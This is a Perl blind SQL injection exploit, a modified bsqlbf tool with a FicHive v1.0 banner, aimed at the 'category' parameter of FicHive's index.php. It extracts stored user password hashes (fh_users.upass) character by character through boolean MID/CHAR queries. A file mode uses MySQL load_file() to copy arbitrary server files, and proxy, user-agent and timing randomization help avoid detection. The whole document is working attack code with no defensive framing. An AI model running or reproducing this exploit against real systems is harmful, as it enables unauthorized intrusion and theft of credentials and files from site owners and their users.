#!/usr/bin/perl #Usage: ./test.pl -url "http://localhost/[script_path]/index.php?go=Fiction&category= ############################################################################# use LWP::UserAgent; use Getopt::Long; use IO::Handle; use strict; $| = 1; ############################################################################### my $default_debug = 0; my $default_length = 13; my $default_method = "GET"; my $default_time = 0; my $version = "1.1"; my $default_useragent = "bsqlbf $version"; my $default_dict = "dict.txt"; my $default_sql = "fh_users.upass"; my $default_blind ="category"; my $default_match ="Genre: All/Genre:"; ############################################################################### $| = 1; my ($args, $abc, $solution); my ($string, $char, @dic); my (%vars, @varsb); my ($lastvar, $lastval); my ($scheme, $authority, $path, $query, $fragment); my $hits = 0; my $usedict = 0; my $amatch = 0; my ($ua,$req); ############################################################################### # Define GetOpt: my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug); my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent); my ($dict, $start, $length, $method, $cookie,$blind); my ($help, $bincharset, $get, $nodict); my $options = GetOptions ( 'help!' => \$help, 'url=s' => \$url, 'get=s' => \$get, 'sql=s' => \$sql, 'blind=s' => \$blind, 'match=s' => \$match, 'charset=s' => \$charset, 'start=s' => \$start, 'length=s' => \$length, 'dict=s' => \$dict, 'method=s' => \$method, 'uagent=s' => \$uagent, 'ruagent=s' => \$ruagent, 'cookie=s' => \$cookie, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'rproxy=s' => \$rproxy, 'debug!' => \$debug, 'rtime=s' => \$rtime, 'time=i' => \$time ); &help unless ($url); &help if $help eq 1; ######################################################################### # Default Options. $abc = charset(); $uagent ||= $default_useragent; $debug ||= $default_debug; $length ||= $default_length; $solution ||= $start; $method ||= $default_method; $sql ||= $default_sql; $time ||= $default_time; $blind ||= $default_blind; $match ||= $default_match; &createlwp(); &parseurl(); if ( ! defined($blind)) { $lastvar = $varsb[$#varsb]; $lastval = $vars{$lastvar}; } else { $lastvar = $blind; $lastval = $vars{$blind}; } if (defined($cookie)) { &cookie() } &banner(); &httpintro(); if ( ! $get) { &sqlget() } else { &fileget() } sub fileget { #ord(MID(compress(load_file(0xfilename)),1,1)) $get =~ m,.*/(.*),; my $lget = $1; my $rsize = $start + 1; if (-e "$lget" && ! $start) { $rsize = -s "$lget"; print "Error: file ./$lget exists.\n"; print "You can erase or resume it with: -start $rsize\n"; exit 1 } my ($fstr,$i); my $fsize = ""; $fstr = unpack("H*","$get"); # GET size of file. $abc = "0123456789"; for ($i=1;$i<=15;$i++) { my $furl; my $find = 0; foreach (split/ */,$abc) { $find = 0; $char = ord(); $string = " and mid(length(load_file(0x$fstr)),$i,1)=char($char)"; if (lc($method) eq "post") { $vars{$lastvar} = $lastval . $string; } $furl = $url; $furl =~ s/($lastvar=$lastval)/$1$string/; &createlwp if $rproxy || $ruagent; my $html=fetch("$furl"); $hits++; foreach (split(/\n/,$html)) { if (/\Q$match\E/) { my $asc=chr($char); $fsize .= $asc; $find = 1; } last if $find == 1; } last if $find == 1; } last if $find == 0; } if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 } # starting .. $length = "$fsize bytes"; $abc = "getfile [256]"; $sql = "load_file($get)"; &bsqlintro(); # Get file open FILE, ">>$lget"; FILE->autoflush(1); print "\n--- BEGIN ---\n"; my ($i,$b,$fcontent); $rsize = 1 if $rsize < 1; for ($i=$rsize;$i<=$fsize+1;$i++) { my $find = 0; my ($furl, $b_start, $b_end, $z); for ($z=0;$z<272;$z+=16) { my $zz = $z + 16; $string = " and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz"; if (lc($method) eq "post") { $vars{$lastvar} = $lastval . $string; } $furl = $url; $furl =~ s/($lastvar=$lastval)/$1$string/; &createlwp if $rproxy || $ruagent; my $html=fetch("$furl"); $hits++; foreach (split(/\n/,$html)) { if (/\Q$match\E/) { $b_start = $z; $b_end = $z + 16; $find = 1; } last if $find == 1; } last if $find == 1; } print "$fcontent"; for ($b=$b_start;$b<=$b_end;$b++) { $find = 0; $string = " and mid(load_file(0x$fstr),$i,1)=char($b)"; if (lc($method) eq "post") { $vars{$lastvar} = $lastval . $string; } $furl = $url; $furl =~ s/($lastvar=$lastval)/$1$string/; &createlwp if $rproxy || $ruagent; my $html=fetch("$furl"); $hits++; foreach (split(/\n/,$html)) { if (/\Q$match\E/) { $fcontent = pack("C*","$b"); print FILE "$fcontent"; $find = 1; } last if $find == 1; } last if $find == 1; } } print "\n--- END ---\n"; close FILE; $solution = "success"; } sub sqlget { &bsqlintro(); $dict ||= $default_dict; open DICT,"$dict"; @dic=; close DICT; my $i; $nodict = 0; for ($i=length($start)+1;$i<=$length;$i++) { my $furl; my $find = 0; $abc = charset(); &bsqlintro if $debug == 1; print "\r trying: $solution "; foreach (split/ */,$abc) { $find = 0; $char = ord(); $string = " AND MID($sql,$i,1)=CHAR($char)"; if (lc($method) eq "post") { $vars{$lastvar} = $lastval . $string; } print "\x08$_"; $furl = $url; $furl =~ s/($lastvar=$lastval)/$1$string/; &createlwp if $rproxy || $ruagent; my $html=fetch("$furl"); $hits++; foreach (split(/\n/,$html)) { if (/\Q$match\E/) { my $asc=chr($char); $solution .= $asc; $find = 1; } last if $find == 1; } last if $find == 1; } if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; } if ($find eq "0" && $usedict eq "0") { last; }; } } &result(); ######################################################################### sub httpintro { my ($strcookie, $strproxy, $struagent, $strtime, $i); if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent } foreach (keys %vars) { $i++; } if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; } if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; } if ($rproxy) { $strproxy = "rnd.file:$rproxy" } if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; } # timing if (! $time && !$rtime) { $strtime="0sec (default)" } if ( $time == 0) { $strtime="0 sec (default)" } if ( $time == 1) { $strtime="15 secs" } if ( $time == 2) { $strtime="5 mins" } if ($rtime) { $strtime = "rnd.time:$rtime" } } sub bsqlintro { my ($strstart, $strblind, $strlen, $strmatch, $strsql); if ($blind eq $default_blind) { $strsql = "$blind (default)"; } else { $strblind = $blind; } if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; } if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; } if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; } if ($match eq $default_match) { $strmatch = "$match" } else { $strmatch = "$match"; } #printf ("%12s %-60s\n","$strmatch",$match); print "-"x80; print "\n\n"; } ######################################################################### sub createlwp { my $proxyc; &getproxy; &getuagent if $ruagent; LWP::Debug::level('+') if $debug gt 3; $ua = new LWP::UserAgent( cookie_jar=> { file => "$$.cookie" }); $ua->agent("$uagent"); if (defined($proxy_user) && defined($proxy_pass)) { my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) = $proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; $proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority; } else { $proxyc = $proxy; } $ua->proxy(['http'] => $proxyc) if $proxy; undef $proxy if $rproxy; undef $uagent if $ruagent; } sub cookie { # Cookies check if ($cookie || $cookie =~ /; /) { foreach my $c (split /;/, $cookie) { my ($a,$b) = split /=/, $c; if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; } } } } sub parseurl { ############################################################################### # Official Regexp to parse URI. Thank you somebody. ($scheme, $authority, $path, $query, $fragment) = $url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; # Parse args of URI into %vars and @varsb. foreach my $varval (split /&/, $query) { my ($var, $val) = split /=/, $varval; $vars{$var} = $val; push(@varsb, $var); } } # Define CHARSET to use. Dictionary /// (TODO: fix ugly code) sub charset { if ($hits ne 0 && $nodict eq 0) { my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc; foreach my $line (@dic) { chomp $line; if ($line =~ /\Q$solution\E/ && $line !~ /^#/) { $foo = $line; $foo =~ s/\Q$solution\E//; foreach ((split/ */,$foo)) { if ($tmp{$_} ne "1" ) { $tmp{$_} = "1"; push (@b,$_); } } } } if ($#b >= 0) { foreach my $c (@b) { $abc .=$c;} $usedict = $abc; print "\nUsing a dictionary with this charset: $abc\n" if $debug == 1; } else { $abc = chardefault() } } else { $abc = chardefault() } return $abc; } sub chardefault { my $tmp; $abc = $charset; if (lc($charset) eq "md5") { $abc = "abcdef0123456789\$."; } elsif (lc($charset) eq "num") { $abc = "0123456789"; } elsif (lc($charset) eq "all" || ! $charset) { $abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.:-_()[]{}º@=/\\|#?¿&·!<>ñÑ"; } # If a dictionary has been used before, remove chars from current charset if ($usedict ne 0) { foreach (split(/ */, $usedict)) { $abc =~ s/$_//; } } $usedict = 0; return $abc; } sub auto_match { $match = fmatch("$url"); } ######################################################################### # Show options at running: sub banner { print "\n // FicHive v1.0 Blind SQL injection (bsqlbf tool modified)\n"; print " // Author:His0k4\n // Contact:his0k4.hlm[at]gmail.com\n\n"; } ######################################################################### # Get differences in HTML sub fmatch { my ($ok,$rtrn); my ($furla, $furlb) = ($_[0], $_[0]); my ($html_a, $html_b); if (lc($method) eq "get") { $furla =~ s/($lastvar=$lastval)/$1 AND 1=1/; $furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/; $html_a = fetch("$furla"); $html_b = fetch("$furlb"); } elsif (lc($method) eq "post") { $vars{$lastvar} = $lastval . " AND 1=1"; $html_a = fetch("$furla"); $vars{$lastvar} = $lastval . " AND 1=0"; $html_b = fetch("$furla"); $vars{$lastvar} = $lastval; } my @h_a = split(/\n/,$html_a); my @h_b = split(/\n/,$html_b); foreach my $a (@h_a) { $ok = 0; if ($a =~ /\w/) { foreach (@h_b) { if ($a eq $_) {$ok = 1; } } } else { $ok = 1; } $rtrn = $a; last if $ok ne 1; } return $rtrn; } ######################################################################### # Fetch HTML from WWW sub fetch { my $secs; if ($time == 0) { $secs = 0 } elsif ($time == 1) { $secs = 15 } elsif ($time == 2) { $secs = 300 } if ($rtime =~ /\d*-\d*/ && $time == 0) { my ($l,$p) = $rtime =~ m/(\d+-\d+)/; srand; $secs = int(rand($p-$l+1))+$l; } elsif ($rtime =~ /\d*-\d*/ && $time != 0) { print "You can't run with -time and -rtime. See -help.\n"; exit 1; } sleep $secs; my $res; if (lc($method) eq "get") { my $fetch = $_[0]; if ($cookie) { $res = $ua->get("$fetch", Cookie => "$cookie"); } elsif (!$cookie) { $res = $ua->get("$fetch"); } } elsif (lc($method) eq "post") { my($s, $a, $p, $q, $f) = $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; my $fetch = "$s://$a".$p; if ($cookie) { $res = $ua->post("$fetch",\%vars, Cookie => "$cookie"); } elsif (!$cookie) { $res = $ua->post("$fetch",\%vars); } } else { die "Wrong httpd method. Use -h for help\n"; } my $html = $res->content(); return $html; } sub getproxy { if ($rproxy && $proxy !~ /http/) { my @lproxy; open PROXY, $rproxy or die "Can't open file: $rproxy\n"; while() { push(@lproxy,$_) if ! /^#/ } close PROXY; srand; my $ind = rand @lproxy; $proxy = $lproxy[$ind]; } elsif ($rproxy && $proxy =~ /http/) { print "You can't run with -proxy and -rproxy. See -help.\n"; exit 1; } } sub getuagent { my @uproxy; open UAGENT, $ruagent or die "Can't open file: $ruagent\n"; while() { push(@uproxy,$_) if ! /^#/ } close UAGENT; srand; my $ind = rand @uproxy; $uagent = $uproxy[$ind]; chop($uagent); } sub result { print "\r results: \n" . " $sql = $solution\n" if length($solution) > 0; print " total hits: $hits\n"; } sub help { &banner(); print " usage: $0 -url http://localhost/path/index.php?go=Fiction&category=\n"; exit(1); }